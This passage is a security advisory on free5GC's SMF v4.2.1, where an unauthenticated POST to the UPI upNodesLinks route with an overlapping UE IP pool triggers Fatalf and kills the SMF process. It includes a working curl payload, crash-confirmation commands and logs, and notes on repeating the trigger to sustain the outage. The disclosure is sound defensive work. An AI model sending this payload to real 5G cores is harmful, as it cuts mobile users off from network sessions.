free5GC's SMF UPI POST /upi/v1/upNodesLinks exits the SMF process on overlapping UE pools (unauthenticated, reachable Fatalf)
Summary
free5GC's SMF mounts the UPI management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The POST /upi/v1/upNodesLinks create-or-update handler accepts attacker-controlled JSON and passes it directly into UpNodesFromConfiguration(), which calls logger.InitLog.Fatalf(...) on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (docker ps shows Exited (1)), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls Fatalf which is os.Exit(1)-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted.
Details
Validated against the SMF container in the official Docker compose lab.
- Source repo tag:
v4.2.1 - Running Docker image:
free5gc/smf:v4.2.1 - Runtime SMF commit:
8385c00a - Docker validation date: 2026-03-22 local (container log timestamp
2026-03-21T23:47:07Z) - SMF endpoint:
http://10.100.200.6:8000
The broader UPI auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there:
Vulnerable handler dispatches into topology parsing:
```
POST /upi/v1/upNodesLinks
-> UpNodesFromConfiguration()
-> isOverlap(allUEIPPools)
-> logger.InitLog.Fatalf("overlap cidr value between UPFs")
```
Code evidence (paths in free5gc/smf):
- UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability):
NFs/smf/internal/sbi/server.go:76NFs/smf/internal/sbi/server.go:78- Create-or-update handler accepts attacker JSON and forwards it to
UpNodesFromConfiguration(): NFs/smf/internal/sbi/api_upi.go:60NFs/smf/internal/sbi/api_upi.go:72- Pool parsing (input from attacker JSON):
NFs/smf/internal/context/user_plane_information.go:413- Overlap check that calls
Fatalf: NFs/smf/internal/context/user_plane_information.go:479
The same unauthenticated POST path also reaches sibling Fatalf calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable Fatalf call sites on a single unauthenticated handler:
NFs/smf/internal/context/user_plane_information.go:416NFs/smf/internal/context/user_plane_information.go:424NFs/smf/internal/context/user_plane_information.go:430
PoC
Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.
1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (10.60.0.0/16):
```
curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \
-H 'Content-Type: application/json' \
--data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}'
```
Client-side observation (server died mid-request, no HTTP response written):
```
curl: (52) Empty reply from server
```
2. Confirm the SMF container exited:
```
docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}'
```
```
smf Exited (1) 9 seconds ago
```
3. SMF container logs (docker logs --tail 80 smf) show the FATA line that terminated the process:
```
[FATA][SMF][Init] overlap cidr value between UPFs
```
Impact
Unauthenticated process-kill DoS on the SMF management plane.
1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the UPI route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance nsmf-oam returning 401 (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI.
2. Reachable assertion / fail-fast (CWE-617): topology parsing calls logger.InitLog.Fatalf(...) on attacker-influenced validation failures. Fatalf is os.Exit(1)-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level.
Any party that can reach SMF on the SBI can:
- Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted.
- Repeat the trigger after every restart to sustain the outage.
- Use sibling
Fatalf paths (invalid-pool, static-pool exclusion) to sustain the sam
